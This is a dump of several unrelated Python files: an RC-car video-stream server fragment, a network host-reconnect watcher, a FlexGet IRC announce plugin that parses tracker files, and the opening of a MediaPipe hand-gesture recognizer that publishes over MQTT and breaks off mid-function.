image) # d2 = self.d_to_camera.calculate(v_param2, self.h2, 100, image) # self.d_stop_sign = d1 # self.d_light = d2 cv2.imshow('image', image) # cv2.imshow('mlp_image', half_gray) # reshape image image_array = half_gray.reshape(1, 38400).astype(np.float32) # neural network makes prediction # prediction = self.model.predict(image_array) # # stop conditions # if sensor_data is not None and sensor_data < 30: # print("Stop, obstacle in front") # self.rc_car.stop() # elif 0 < self.d_stop_sign < 25 and stop_sign_active: # print("Stop sign ahead") # self.rc_car.stop() # # stop for 5 seconds # if stop_flag is False: # self.stop_start = cv2.getTickCount() # stop_flag = True # self.stop_finish = cv2.getTickCount() # self.stop_time = (self.stop_finish - self.stop_start)/cv2.getTickFrequency() # print "Stop time: %.2fs" % self.stop_time # # 5 seconds later, continue driving # if self.stop_time > 5: # print("Waited for 5 seconds") # stop_flag = False # stop_sign_active = False # elif 0 < self.d_light < 30: # #print("Traffic light ahead") # if self.obj_detection.red_light: # print("Red light") # self.rc_car.stop() # elif self.obj_detection.green_light: # print("Green light") # pass # elif self.obj_detection.yellow_light: # print("Yellow light flashing") # pass # self.d_light = 30 # self.obj_detection.red_light = False # self.obj_detection.green_light = False # self.obj_detection.yellow_light = False # else: # time.sleep(0.05) # self.rc_car.steer(prediction) # self.stop_start = cv2.getTickCount() # self.d_stop_sign = 25 # if stop_sign_active is False: # self.drive_time_after_stop = (self.stop_start - self.stop_finish)/cv2.getTickFrequency() # if self.drive_time_after_stop > 5: # stop_sign_active = True if cv2.waitKey(1) & 0xFF == ord('q'): # self.rc_car.stop() break cv2.destroyAllWindows() finally: print "Connection closed on thread 1" class ThreadServer(object): def server_thread(host, port): server = SocketServer.TCPServer((host, port), VideoStreamHandler) server.serve_forever() def server_thread2(host, port): server = SocketServer.TCPServer((host, port), SensorDataHandler) server.serve_forever() # distance_thread = threading.Thread(target=server_thread2, args=('192.168.1.126', 8002)) # distance_thread.start() video_thread = threading.Thread(target=server_thread('172.14.1.126', 8000)) video_thread.start() if __name__ == '__main__': ThreadServer()
watch.py
import time import threading class HostWatcher(object): def __init__(self, host_scanner, reconnection_callback): self._scanner = host_scanner self._reconnection_callback = reconnection_callback self._hosts = set() self._hosts_lock = threading.Lock() self._interval = 45 # scan interval in s self._iprange = None # custom ip range to be watched self._settings_lock = threading.Lock() self._log_list = [] self._log_list_lock = threading.Lock() self._running = False @property def interval(self): with self._settings_lock: return self._interval @interval.setter def interval(self, value): with self._settings_lock: self._interval = value @property def iprange(self): with self._settings_lock: return self._iprange @iprange.setter def iprange(self, value): with self._settings_lock: self._iprange = value @property def hosts(self): with self._hosts_lock: return self._hosts.copy() @property def log_list(self): with self._log_list_lock: return self._log_list.copy() def add(self, host): with self._hosts_lock: self._hosts.add(host) host.watched = True def remove(self, host): with self._hosts_lock: self._hosts.discard(host) host.watched = False def start(self): thread = threading.Thread(target=self._watch, args=[], daemon=True) self._running = True thread.start() def stop(self): self._running = False def _watch(self): while self._running: self._hosts_lock.acquire() hosts = self._hosts.copy() self._hosts_lock.release() if len(hosts) > 0: reconnected_hosts = self._scanner.scan_for_reconnects(hosts, self.iprange) for old_host, new_host in reconnected_hosts.items(): self._reconnection_callback(old_host, new_host) with self._log_list_lock: self._log_list.append({ 'old': old_host, 'new': new_host, 'time': time.strftime('%Y-%m-%d %H:%M %p') }) time.sleep(self.interval)
irc.py
import io import logging import os import re import threading import time from datetime import datetime, timedelta from urllib.parse import quote from uuid import uuid4 from xml.etree.ElementTree import parse from flexget.config_schema import one_or_more, register_config_key from flexget.entry import Entry from flexget.event import event from flexget.manager import manager from flexget.utils import requests from flexget.utils.tools import get_config_hash try: from irc_bot.simple_irc_bot import SimpleIRCBot, partial from irc_bot import utils as irc_bot except ImportError as e: irc_bot = None SimpleIRCBot = object log = logging.getLogger('irc') MESSAGE_CLEAN = re.compile( r"\x0f|\x1f|\x02|\x03(?:[\d]{1,2}(?:,[\d]{1,2})?)?", re.MULTILINE | re.UNICODE ) URL_MATCHER = re.compile( r'(https?://[\da-z\.-]+\.[a-z\.]{2,6}[/\w\.-\?&]*/?)', re.MULTILINE | re.UNICODE ) channel_pattern = { 'type': 'string', 'pattern': r'^([#&][^\x07\x2C\s]{0,200})', 'error_pattern': 'channel name must start with # or & and contain no commas and whitespace', } schema = { 'oneOf': [ { 'type': 'object', 'additionalProperties': { 'type': 'object', 'properties': { 'tracker_file': {'type': 'string'}, 'server': {'type': 'string'}, 'port': {'type': 'integer'}, 'nickname': {'type': 'string'}, 'password': {'type': 'string'}, 'channels': one_or_more(channel_pattern), 'nickserv_password': {'type': 'string'}, 'invite_nickname': {'type': 'string'}, 'invite_message': {'type': 'string'}, 'task': one_or_more({'type': 'string'}), 'task_re': { 'type': 'array', 'items': { 'type': 'object', 'properties': { 'task': {'type': 'string'}, 'patterns': { 'type': 'array', 'items': { 'type': 'object', 'properties': { 'regexp': {'type': 'string', 'format': 'regex'}, 'field': {'type': 'string'}, }, 'required': ['regexp', 'field'], 'additionalProperties': False, }, }, }, 'required': ['task', 'patterns'], 'additionalProperties': False, }, }, 'queue_size': {'type': 'integer', 'default': 1}, 'use_ssl': {'type': 'boolean', 'default': False}, 'task_delay': {'type': 'integer'}, }, 'allOf': [ { 'anyOf': [ {'required': ['server', 'channels']}, {'required': ['tracker_file']}, ], 'error': 'Must specify a tracker file or server and channel(s)', }, { 'anyOf': [{'required': ['task']}, {'required': ['task_re']}], 'error': 'Must specify a task', }, ], 'required': ['port'], 'additionalProperties': {'type': 'string'}, }, }, {'type': 'boolean', 'enum': [False]}, ] } # Global that holds all the IRCConnection instances irc_connections = {} # The manager object and thread irc_manager = None # To avoid having to restart the connections whenever the config updated event is fired (which is apparently a lot) config_hash = {} def create_thread(name, conn): """ Creates a new thread and starts it :param conn: IRCConnection or IRCConnectionManager object :return: Thread """ thread = threading.Thread(target=conn.start, name=name) thread.setDaemon(True) return thread def irc_prefix(var): """ Prefix a string with the irc_ :param var: Variable to prefix :return: Prefixed variable """ if isinstance(var, str): return 'irc_%s' % var.lower() def strip_whitespace(value): """ Remove leading and trailing whitespace from strings. Return value if not a string. :param value: :return: stripped string or value """ if isinstance(value, str): return value.strip() return value class TrackerFileParseError(Exception): """Exception thrown when parsing the tracker file fails""" class TrackerFileError(Exception): """Exception thrown when parsing the tracker file fails""" class MissingConfigOption(Exception): """Exception thrown when a config option specified in the tracker file is not on the irc config""" class IRCConnection(SimpleIRCBot): def __init__(self, config, config_name): self.config = config self.connection_name = config_name self.tracker_config = None self.server_list = [] self.announcer_list = [] self.ignore_lines = [] self.message_regex = [] # If we have a tracker config file, load it tracker_config_file = config.get('tracker_file') if tracker_config_file: self.tracker_config = self.retrieve_tracker_config(tracker_config_file) channel_list = [] if self.tracker_config is not None: # Validate config with the settings in the torrent file for param in self.tracker_config.find('settings'): # Handle textbox entries if param.tag == 'textbox': value_name = param.get('name') else: value_name = param.tag # Strip the gazelle prefix if value_name.startswith('gazelle_'): value_name = value_name.replace('gazelle_', '') # Skip descriptions if 'description' in value_name: continue if self.config.get(value_name) is None: raise MissingConfigOption( 'missing configuration option on irc config %s: %s' % (self.connection_name, value_name) ) # Get the tracker name, for use in the connection name self.connection_name = self.tracker_config.get('longName', config_name) # Extract the IRC server information for server in self.tracker_config.find('servers'): self.server_list.extend(server.get('serverNames').split(',')) channel_list.extend(server.get('channelNames').split(',')) self.announcer_list.extend(server.get('announcerNames').split(',')) # Process ignore lines for regex_values in self.tracker_config.findall('parseinfo/ignore/regex'): rx = re.compile(regex_values.get('value'), re.UNICODE | re.MULTILINE) self.ignore_lines.append((rx, regex_values.get('expected') != 'false')) # Parse patterns self.multilinepatterns = self.parse_patterns( list(self.tracker_config.findall('parseinfo/multilinepatterns/extract')) ) self.linepatterns = self.parse_patterns( list(self.tracker_config.findall('parseinfo/linepatterns/extract')) ) # overwrite tracker config with flexget config if self.config.get('server'): self.server_list = [self.config['server']] log.debug('Using server specified from config') channels = config.get('channels') if channels: channel_list = channels if isinstance(channels, list) else [channels] log.debug('Using channel(s) specified from config') log.debug('Servers: %s', self.server_list) log.debug('Channels: %s', channel_list) log.debug('Announcers: %s', self.announcer_list) log.debug('Ignore Lines: %d', len(self.ignore_lines)) log.debug('Message Regexs: %d', len(self.multilinepatterns) + len(self.linepatterns)) for rx, vals, optional in self.multilinepatterns: msg = ' Multilinepattern "%s" extracts %s' if optional: msg += ' (optional)' log.debug(msg, rx.pattern, vals) for rx, vals, optional in self.linepatterns: msg = ' Linepattern "%s" extracts %s' if optional: msg += ' (optional)' log.debug(msg, rx.pattern, vals) # Init the IRC Bot ircbot_config = { 'servers': self.server_list, 'port': config['port'], 'channels': channel_list, 'nickname': config.get('nickname', 'Flexget-%s' % str(uuid4())), 'password': config.get('password'), 'invite_nickname': config.get('invite_nickname'), 'invite_message': config.get('invite_message'), 'nickserv_password': config.get('nickserv_password'), 'use_ssl': config.get('use_ssl'), } SimpleIRCBot.__init__(self, ircbot_config) self.inject_before_shutdown = False self.entry_queue = [] self.line_cache = {} self.processing_message = ( False # if set to True, it means there's a message processing queued ) self.thread = create_thread(self.connection_name, self) @classmethod def read_tracker_config(cls, path): """ Attempts to open and parse the .tracker file specified in path :param path: path to .tracker file :return: the parsed XML """ try: with io.open(path, 'rb') as xml_file: return parse(xml_file).getroot() except Exception as e: raise TrackerFileParseError('Unable to parse tracker config file %s: %s' % (path, e)) @classmethod def retrieve_tracker_config(cls, tracker_config_file): """ Will attempt to retrieve the .tracker file from disk or github. Returns the parsed XML. :param tracker_config_file: URL or path to .tracker file :return: parsed XML """ base_url = 'https://raw.githubusercontent.com/autodl-community/autodl-trackers/master/' tracker_config_file = os.path.expanduser(tracker_config_file) # First we attempt to find the file locally as-is if os.path.exists(tracker_config_file): log.debug('Found tracker file: %s', tracker_config_file) return cls.read_tracker_config(tracker_config_file) if not tracker_config_file.endswith('.tracker'): tracker_config_file += '.tracker' # Maybe the file is missing extension? if os.path.exists(tracker_config_file): log.debug('Found tracker file: %s', tracker_config_file) return cls.read_tracker_config(tracker_config_file.rsplit('.tracker')[0]) # Check that containing dir exists, otherwise default to flexget_config_dir/trackers if os.path.exists(os.path.dirname(tracker_config_file)): base_dir = os.path.dirname(tracker_config_file) else: base_dir = os.path.abspath(os.path.join(manager.config_base, 'trackers')) # Find the filenames for easy use later tracker_name = os.path.basename(tracker_config_file) tracker_name_no_ext = os.path.splitext(tracker_name)[0] # One last try with case insensitive search! if os.path.exists(base_dir): files = os.listdir(base_dir) for f in files: if tracker_name_no_ext.lower() in f.lower(): found_path = os.path.join(base_dir, f) log.debug('Found tracker file: %s', found_path) return cls.read_tracker_config(found_path) # Download from Github instead if not os.path.exists(base_dir): # will only try to create the default `trackers` dir try: os.mkdir(base_dir) except IOError as e: raise TrackerFileError(e) log.info( 'Tracker file not found on disk. Attempting to fetch tracker config file from Github.' ) tracker = None try: tracker = requests.get(base_url + tracker_config_file) except (requests.RequestException, IOError): pass if not tracker: try: log.debug('Trying to search list of tracker files on Github') # Try to see if it's not found due to case sensitivity trackers = ( requests.get( 'https://api.github.com/repos/autodl-community/' 'autodl-trackers/git/trees/master?recursive=1' ) .json() .get('tree', []) ) for t in trackers: name = t.get('path', '') if not name.endswith('.tracker') or name.lower() != tracker_name.lower(): continue tracker = requests.get(base_url + name) tracker_name = name break except (requests.RequestException, IOError) as e: raise TrackerFileError(e) if not tracker: raise TrackerFileError( 'Unable to find %s on disk or Github. Did you spell it correctly?' % tracker_config_file ) # If we got this far, let's save our work :) save_path = os.path.join(base_dir, tracker_name) with io.open(save_path, 'wb') as tracker_file: for chunk in tracker.iter_content(8192): tracker_file.write(chunk) return cls.read_tracker_config(save_path) def is_alive(self): return self.thread and self.thread.is_alive() def parse_patterns(self, patterns): """ Parses the patterns and creates a tuple with the compiled regex pattern and the variables it produces :param patterns: list of regex patterns as .tracker XML :return: list of (regex, variables, optional)-pairs """ result = [] for pattern in patterns: rx = re.compile(pattern.find('regex').get('value'), re.UNICODE | re.MULTILINE) vals = [var.get('name') for idx, var in enumerate(pattern.find('vars'))] optional = True if pattern.get('optional', 'false').lower() == 'true' else False result.append((rx, vals, optional)) return result def quit(self): """ Quit the IRC bot :return: """ if self.inject_before_shutdown and self.entry_queue: self.run_tasks() SimpleIRCBot.quit(self) def run_tasks(self): """ Passes entries to the target task(s) configured for this connection :return: """ tasks = self.config.get('task') tasks_re = self.config.get('task_re') if tasks: if isinstance(tasks, str): tasks = [tasks] log.debug( 'Injecting %d entries into tasks %s', len(self.entry_queue), ', '.join(tasks) ) options = { 'tasks': tasks, 'cron': True, 'inject': self.entry_queue, 'allow_manual': True, } manager.execute(options=options, priority=5, suppress_warnings=['input']) if tasks_re: tasks_entry_map = {} for entry in self.entry_queue: matched = False for task_config in tasks_re: pattern_match = 0 for pattern in task_config.get('patterns'): if re.search( pattern['regexp'], entry.get(pattern['field'], ''), re.IGNORECASE ): pattern_match += 1 # the entry is added to the task map if all of the defined regex matched if len(task_config.get('patterns')) == pattern_match: matched = True if not tasks_entry_map.get(task_config.get('task')): tasks_entry_map[task_config.get('task')] = [] tasks_entry_map[task_config.get('task')].append(entry) if not matched: log.debug('Entry "%s" did not match any task regexp.', entry['title']) for task, entries in tasks_entry_map.items(): log.debug('Injecting %d entries into task "%s"', len(entries), task) options = {'tasks': [task], 'cron': True, 'inject': entries, 'allow_manual': True} manager.execute(options=options, priority=5, suppress_warnings=['input']) self.entry_queue = [] def queue_entry(self, entry): """ Stores an entry in the connection entry queue, if the queue is over the size limit then submit them :param entry: Entry to be queued :return: """ self.entry_queue.append(entry) log.debug('Entry: %s', entry) if len(self.entry_queue) >= self.config['queue_size']: if self.config.get('task_delay'): self.schedule.queue_command( self.config['task_delay'], self.run_tasks, unique=False ) else: self.run_tasks() def match_message_patterns(self, patterns, msg): """ Tries to match the message to the list of patterns. Supports multiline messages. :param patterns: list of (regex, variable)-pairs :param msg: The parsed IRC message :param multiline: True if msg is multiline :return: A dict of the variables and their extracted values """ result = {} for rx, vals, _ in patterns: log.debug('Using pattern %s to parse message vars', rx.pattern) match = rx.search(msg) if match: val_names = [irc_prefix(val.lower()) for val in vals] val_values = [strip_whitespace(x) or '' for x in match.groups()] result.update(dict(zip(val_names, val_values))) log.debug('Found: %s', dict(zip(val_names, val_values))) break else: log.debug('No matches found for %s in %s', rx.pattern, msg) return result def process_tracker_config_rules(self, entry, rules=None): """ Processes an Entry object with the linematched rules defined in a tracker config file :param entry: Entry to be updated :param rules: Ruleset to use. :return: """ ignore_optionals = [] if rules is None: rules = self.tracker_config.find('parseinfo/linematched') # Make sure all irc fields from entry are in `fields` fields = {key: val for key, val in entry.items() if key.startswith('irc_')} for rule in rules: log.debug('Processing rule %s' % rule.tag) # Var - concat a var from other vars if rule.tag == 'var': result = '' for element in rule: if element.tag == 'string': result += element.get('value') elif element.tag in ['var', 'varenc']: varname = element.get('name') if irc_prefix(varname) in fields: value = fields[irc_prefix(varname)] elif self.config.get(varname): value = self.config.get(varname) else: log.error( 'Missing variable %s from config, skipping rule', irc_prefix(varname), ) break if element.tag == 'varenc': value = quote(value.encode('utf-8')) result += value else: log.error('Unsupported var operation %s, skipping rule', element.tag) break else: # Only set the result if we processed all elements log.debug('Result for rule %s: %s=%s', rule.tag, rule.get('name'), result) fields[irc_prefix(rule.get('name'))] = result # Var Replace - replace text in a var elif rule.tag == 'varreplace': source_var = irc_prefix(rule.get('srcvar')) target_var = irc_prefix(rule.get('name')) regex = rule.get('regex') replace = rule.get('replace') if ( source_var and target_var and regex is not None and replace is not None and source_var in fields ): fields[target_var] = re.sub(regex, replace, fields[source_var]) log.debug('varreplace: %s=%s', target_var, fields[target_var]) else: log.error('Invalid varreplace options, skipping rule') # Extract - create multiple vars from a single regex elif rule.tag == 'extract': source_var = irc_prefix(rule.get('srcvar')) if source_var not in fields: if rule.get('optional', 'false') == 'false': log.error( 'Error processing extract rule, non-optional value %s missing!', source_var, ) ignore_optionals.append(source_var) continue if rule.find('regex') is not None: regex = rule.find('regex').get('value') else: log.error('Regex option missing on extract rule, skipping rule') continue group_names = [ irc_prefix(x.get('name')) for x in rule.find('vars') if x.tag == 'var' ] match = re.search(regex, fields[source_var]) if match: fields.update(dict(zip(group_names, match.groups()))) else: log.debug('No match found for rule extract') # Extract Tag - set a var if a regex matches a tag in a var elif rule.tag == 'extracttags': source_var = irc_prefix(rule.get('srcvar')) split = rule.get('split') if source_var in ignore_optionals: continue values = [strip_whitespace(x) for x in fields[source_var].split(split)] for element in rule: if element.tag == 'setvarif': target_var = irc_prefix(element.get('varName')) regex = element.get('regex') value = element.get('value') new_value = element.get('newValue') if regex is not None: found_match = False for val in values: match = re.match(regex, val) if match: fields[target_var] = val found_match = True if not found_match: log.debug('No matches found for regex %s', regex) elif value is not None and new_value is not None: if value in values: fields[target_var] = new_value else: log.debug('No match found for value %s in %s', value, source_var) else: log.error( 'Missing regex/value/newValue for setvarif command, ignoring' ) # Extract One - extract one var from a list of regexes elif rule.tag == 'extractone': for element in rule: if element.tag == 'extract': source_var = irc_prefix(element.get('srcvar')) if element.find('regex') is not None: regex = element.find('regex').get('value') else: log.error('Regex option missing on extract rule, skipping.') continue if element.find('vars') is not None: vars = [irc_prefix(var.get('name')) for var in element.find('vars')] else: log.error('No variable bindings found in extract rule, skipping.') continue match = re.match(regex, fields.get(source_var, '')) if match: fields.update(dict(zip(vars, match.groups()))) else: log.debug('No match for extract with regex: %s', regex) else: log.error('Unsupported extractone tag: %s', element.tag) # Set Regex - set a var if a regex matches elif rule.tag == 'setregex': source_var = irc_prefix(rule.get('srcvar')) regex = rule.get('regex') target_var = irc_prefix(rule.get('varName')) target_val = rule.get('newValue') if source_var and regex and target_var and target_val: if source_var in fields and re.search(regex, fields[source_var]): fields[target_var] = target_val else: log.error('Option missing on setregex, skipping rule') # If statement elif rule.tag == 'if': source_var = irc_prefix(rule.get('srcvar')) regex = rule.get('regex') if source_var and regex: if source_var in fields and re.match(regex, fields[source_var]): fields.update(self.process_tracker_config_rules(fields, rule)) else: log.error('Option missing for if statement, skipping rule') else: log.warning('Unsupported linematched tag: %s', rule.tag) return fields def on_privmsg(self, msg): """ Appends messages for the specific channel in the line cache. Schedules a message processing after 1s to handle multiline announcements. :param msg: IRCMessage object :return: """ nickname = msg.from_nick channel = msg.arguments[0] if not irc_bot.is_channel(channel): log.debug('Received msg is not a channel msg: %s', msg) return # set some defaults self.line_cache.setdefault(channel, {}) self.line_cache[channel].setdefault(nickname, []) self.line_cache[channel][nickname].append(msg.arguments[1]) if not self.processing_message: # Schedule a parse of the message in 1 second (for multilines) self.schedule.queue_command(1, partial(self.process_message, nickname, channel)) self.processing_message = True def process_message(self, nickname, channel): """ Pops lines from the line cache and passes them to be parsed :param str nickname: Nickname of who sent the message :param str channel: Channel where the message originated from :return: None """ # If we have announcers defined, ignore any messages not from them if self.announcer_list and nickname not in self.announcer_list: log.debug('Ignoring message: from non-announcer %s', nickname) self.processing_message = False return # Clean up the messages lines = [MESSAGE_CLEAN.sub('', line) for line in self.line_cache[channel][nickname]] log.debug('Received line(s): %s', u'\n'.join(lines)) # Generate some entries if self.linepatterns: entries = self.entries_from_linepatterns(lines) elif self.multilinepatterns: entries, lines = self.entries_from_multilinepatterns(lines) else: entries = self.entries_from_lines(lines) for entry in entries: # Process the generated entry through the linematched rules if self.tracker_config is not None and entry: entry.update(self.process_tracker_config_rules(entry)) elif self.tracker_config is not None: log.error('Failed to parse message(s).') self.processing_message = False return entry['title'] = entry.get('irc_torrentname') entry['url'] = entry.get('irc_torrenturl') log.debug('Entry after processing: %s', dict(entry)) if not entry['url'] or not entry['title']: log.error( 'Parsing message failed. Title=%s, url=%s.', entry['title'], entry['url'] ) continue log.verbose('IRC message in %s generated an entry: %s', channel, entry) self.queue_entry(entry) # reset the line cache if self.multilinepatterns and lines: self.line_cache[channel][nickname] = lines log.debug('Left over lines: %s', '\n'.join(lines)) else: self.line_cache[channel][nickname] = [] self.processing_message = False def entries_from_linepatterns(self, lines): """ :param lines: list of lines from irc :return list: list of entries generated from lines """ entries = [] for line in lines: # If it's listed in ignore lines, skip it ignore = False for rx, expected in self.ignore_lines: if rx.match(line) and expected: log.debug('Ignoring message: matched ignore line') ignore = True break if ignore: continue entry = Entry(irc_raw_message=line) match = self.match_message_patterns(self.linepatterns, line) # Generate the entry and process it through the linematched rules if not match: log.error('Failed to parse message. Skipping: %s', line) continue entry.update(match) entries.append(entry) return entries def entries_from_multilinepatterns(self, lines): """ :param lines: list of lines :return list: list of entries generated from lines """ entries = [] rest = [] # contains the rest of the lines while len(lines) > 0: entry = Entry() raw_message = '' matched_lines = [] for idx, (rx, vals, optional) in enumerate(self.multilinepatterns): log.debug('Using pattern %s to parse message vars', rx.pattern) # find the next candidate line line = '' for l in list(lines): # skip ignored lines for ignore_rx, expected in self.ignore_lines: if ignore_rx.match(l) and expected: log.debug('Ignoring message: matched ignore line') lines.remove(l) break else: line = l break raw_message += '\n' + line match = self.match_message_patterns([(rx, vals, optional)], line) if match: entry.update(match) matched_lines.append(line) lines.remove(line) elif optional: log.debug('No match for optional extract pattern found.') elif not line: rest = matched_lines + lines break elif ( idx == 0 ): # if it's the first regex that fails, then it's probably just garbage log.error('No matches found for pattern %s', rx.pattern) lines.remove(line) rest = lines break else: log.error('No matches found for pattern %s', rx.pattern) rest = lines break else: entry['irc_raw_message'] = raw_message entries.append(entry) continue return entries, rest def entries_from_lines(self, lines): """ :param lines: list of lines :return list: list of entries generated from lines """ entries = [] for line in lines: entry = Entry(irc_raw_message=line) # Use the message as title entry['title'] = line # find a url... url_match = URL_MATCHER.findall(line) if url_match: # We have a URL(s)!, generate an entry urls = list(url_match) url = urls[-1] entry.update({'urls': urls, 'url': url}) if not entry.get('url'): log.error('Parsing message failed. No url found.') continue entries.append(entry) return entries def is_connected(self): return self.connected def stop(self, wait): if self.is_connected() and wait: self.inject_before_shutdown = True self.quit() class IRCConnectionManager: def __init__(self, config): self.config = config self.shutdown_event = threading.Event() self.wait = False self.delay = 30 self.thread = create_thread('irc_manager', self) self.thread.start() def is_alive(self): return self.thread and self.thread.is_alive() def start(self): """ Checks for dead threads and attempts to restart them. If the connection appears to be throttled, it won't attempt to reconnect for 30s. :return: """ global irc_connections self.start_connections() schedule = {} # used to keep track of reconnection schedules while not self.shutdown_event.is_set(): for conn_name, conn in irc_connections.items(): # Don't want to revive if connection was closed cleanly if not conn.running: continue now = datetime.now() # Attempt to revive the thread if it has died. conn.running will be True if it died unexpectedly. if not conn and self.config.get(conn_name): try: self.restart_connection(conn_name, self.config[conn_name]) except IOError as e: log.error(e) elif not conn.is_alive() and conn.running: if conn_name not in schedule: schedule[conn_name] = now + timedelta(seconds=5) # add extra time if throttled if conn.throttled: schedule[conn_name] += timedelta(seconds=self.delay) # is it time yet? if schedule[conn_name] <= now: log.error( 'IRC connection for %s has died unexpectedly. Restarting it.', conn_name, ) try: self.restart_connection(conn_name, conn.config) except IOError as e: log.error(e) # remove it from the schedule del schedule[conn_name] time.sleep(1) self.stop_connections(self.wait) irc_connections = {} def restart_connections(self, name=None): if name: self.restart_connection(name) else: for name, connection in irc_connections.items(): self.restart_connection(name, connection.config) def restart_connection(self, name, config=None): if not config: config = irc_connections[name].config if irc_connections[name].is_alive(): self.stop_connection(name) irc_connections[name] = IRCConnection(config, name) irc_connections[name].thread.start() def start_connections(self): """ Start all the irc connections. Stop the daemon if there are failures. :return: """ # First we validate the config for all connections including their .tracker files for conn_name, config in self.config.items(): try: log.info('Starting IRC connection for %s', conn_name) conn = IRCConnection(config, conn_name) irc_connections[conn_name] = conn config_hash['names'][conn_name] = get_config_hash(config) except (MissingConfigOption, TrackerFileParseError, TrackerFileError, IOError) as e: log.error(e) if conn_name in irc_connections: del irc_connections[conn_name] # remove it from the list of connections # Now we can start for conn_name, connection in irc_connections.items(): connection.thread.start() def stop_connections(self, wait, name=None): if name: self.stop_connection(name, wait) else: for name in irc_connections.keys(): self.stop_connection(name, wait) def stop_connection(self, name, wait=False): if irc_connections[name].is_alive(): irc_connections[name].stop(wait) irc_connections[name].thread.join(11) def stop(self, wait): self.wait = wait self.shutdown_event.set() def status(self, name=None): status = [] if name: if name not in irc_connections: raise ValueError('%s is not a valid irc connection' % name) else: status.append(self.status_dict(name)) else: for n in irc_connections.keys(): status.append(self.status_dict(n)) return status def status_dict(self, name): status = {name: {}} connection = irc_connections[name] status[name]['alive'] = connection.is_alive() status[name]['channels'] = [{key: value} for key, value in connection.channels.items()] status[name]['connected_channels'] = connection.connected_channels status[name]['server'] = connection.servers[0] status[name]['port'] = connection.port return status def update_config(self, config): new_irc_connections = {} removed_connections = set(self.config.keys()) - set(config.keys()) for name, conf in config.items(): hash = get_config_hash(conf) if name in self.config and config_hash['names'].get(name) == hash: continue try: new_irc_connections[name] = IRCConnection(conf, name) config_hash['names'][name] = hash except (MissingConfigOption, TrackerFileParseError, TrackerFileError, IOError) as e: log.error('Failed to update config. Error when updating %s: %s', name, e) return # stop connections that have been removed from config for name in removed_connections: self.stop_connection(name) del irc_connections[name] # and (re)start the new ones for name, connection in new_irc_connections.items(): if name in irc_connections: self.stop_connection(name) irc_connections[name] = connection connection.thread.start() self.config = config @event('manager.daemon.started') def irc_start(manager): irc_update_config(manager) @event('manager.config_updated') def irc_update_config(manager): global irc_manager, config_hash # Exit if we're not running daemon mode if not manager.is_daemon: return config = manager.config.get('irc') # No config, no connections if not config: log.debug('No irc connections defined in the config') stop_irc(manager) return if irc_bot is None: log.error( 'ImportError: irc_bot module not found or version is too old. Shutting down daemon.' ) stop_irc(manager) manager.shutdown(finish_queue=False) return config_hash.setdefault('names', {}) new_config_hash = get_config_hash(config) if config_hash.get('config') == new_config_hash: log.verbose('IRC config has not been changed. Not reloading any connections.') return config_hash['manager'] = new_config_hash if irc_manager is not None and irc_manager.is_alive(): irc_manager.update_config(config) else: irc_manager = IRCConnectionManager(config) @event('manager.shutdown_requested') def shutdown_requested(manager): stop_irc(manager, wait=True) @event('manager.shutdown') def stop_irc(manager, wait=False): if irc_manager is not None and irc_manager.is_alive(): log.info('Shutting down IRC.') irc_manager.stop(wait) # this check is necessary for when the irc manager is the one shutting down the daemon # a thread can't join itself if not threading.current_thread() == irc_manager.thread: # It's important to give the threads time to shut down to avoid socket issues later (eg. quick restart) irc_manager.thread.join(len(irc_connections.keys()) * 11) @event('config.register') def register_plugin(): register_config_key('irc', schema)
handRecog2Mqtt.py
import cv2 import mediapipe as mp import math import os import queue import time import threading import paho.mqtt.client as mqtt from flask import Flask, render_template, Response app = Flask(__name__) def vector_2d_angle(v1,v2): ''' 求解二维向量的角度 ''' v1_x=v1[0] v1_y=v1[1] v2_x=v2[0] v2_y=v2[1] try: angle_= math.degrees(math.acos((v1_x*v2_x+v1_y*v2_y)/(((v1_x**2+v1_y**2)**0.5)*((v2_x**2+v2_y**2)**0.5)))) except: angle_ =65535. if angle_ > 180.: angle_ = 65535. return angle_ def hand_angle(hand_): ''' 获取对应手相关向量的二维角度,根据角度确定手势 ''' angle_list = [] #---------------------------- thumb 大拇指角度 angle_ = vector_2d_angle( ((int(hand_[0][0])- int(hand_[2][0])),(int(hand_[0][1])-int(hand_[2][1]))), ((int(hand_[3][0])- int(hand_[4][0])),(int(hand_[3][1])- int(hand_[4][1]))) ) angle_list.append(angle_) #---------------------------- index 食指角度 angle_ = vector_2d_angle( ((int(hand_[0][0])-int(hand_[6][0])),(int(hand_[0][1])- int(hand_[6][1]))), ((int(hand_[7][0])- int(hand_[8][0])),(int(hand_[7][1])- int(hand_[8][1]))) ) angle_list.append(angle_) #---------------------------- middle 中指角度 angle_ = vector_2d_angle( ((int(hand_[0][0])- int(hand_[10][0])),(int(hand_[0][1])- int(hand_[10][1]))), ((int(hand_[11][0])- int(hand_[12][0])),(int(hand_[11][1])- int(hand_[12][1]))) ) angle_list.append(angle_) #---------------------------- ring 无名指角度 angle_ = vector_2d_angle( ((int(hand_[0][0])- int(hand_[14][0])),(int(hand_[0][1])- int(hand_[14][1]))), ((int(hand_[15][0])- int(hand_[16][0])),(int(hand_[15][1])- int(hand_[16][1]))) ) angle_list.append(angle_) #---------------------------- pink 小拇指角度 angle_ = vector_2d_angle( ((int(hand_[0][0])- int(hand_[18][0])),(int(hand_[0][1])- int(hand_[18][1]))), ((int(hand_[19][0])- int(hand_[20][0])),(int(hand_[19][1])- int(hand_[20][1]))) ) angle_list.append(angle_) return angle_list def h_gesture(angle_list): ''' # 二维约束的方法定义手势 # fist five gun love one six three thumbup yeah ''' thr_angle = 65. thr_angle_thumb = 53. thr_angle_s = 49. gesture_str = None if 65535. not in angle_list: if (angle_list[0]>thr_angle_thumb) and (angle_list[1]>thr_angle) and (angle_list[2]>thr_angle) and (angle_list[3]>thr_angle) and (angle_list[4]>thr_angle): gesture_str = "fist" elif (angle_list[0]<thr_angle_s) and (angle_list[1]<thr_angle_s) and (angle_list[2]>thr_angle) and (angle_list[3]>thr_angle) and (angle_list[4]>thr_angle): gesture_str = "gun" return gesture_str queue = queue.Queue() def detect(): mp_drawing = mp.solutions.drawing_utils mp_hands = mp.solutions.hands hands = mp_hands.Hands( static_image_mode=False, max_num_hands=1, min_detection_confidence=0.75, min_tracking_confidence=0.75) cap = cv2.VideoCapture(0) cap.set(cv2.CAP_PROP_BUFFERSIZE, 1) # open new thread for publicInfo thread = threading.Thread(target=public_info, args=(cap,)) thread.start() while cap.isOpened(): ret,frame = cap.read() frame = cv2.cvtColor(frame, cv2.COLOR_BGR2RGB) frame= cv2.flip(frame,1) results = hands.process(frame) frame = cv2.cvtColor(frame, cv2.COLOR_RGB2BGR) if results.multi_hand_landmarks: for hand_landmarks in results.multi_hand_landmarks: 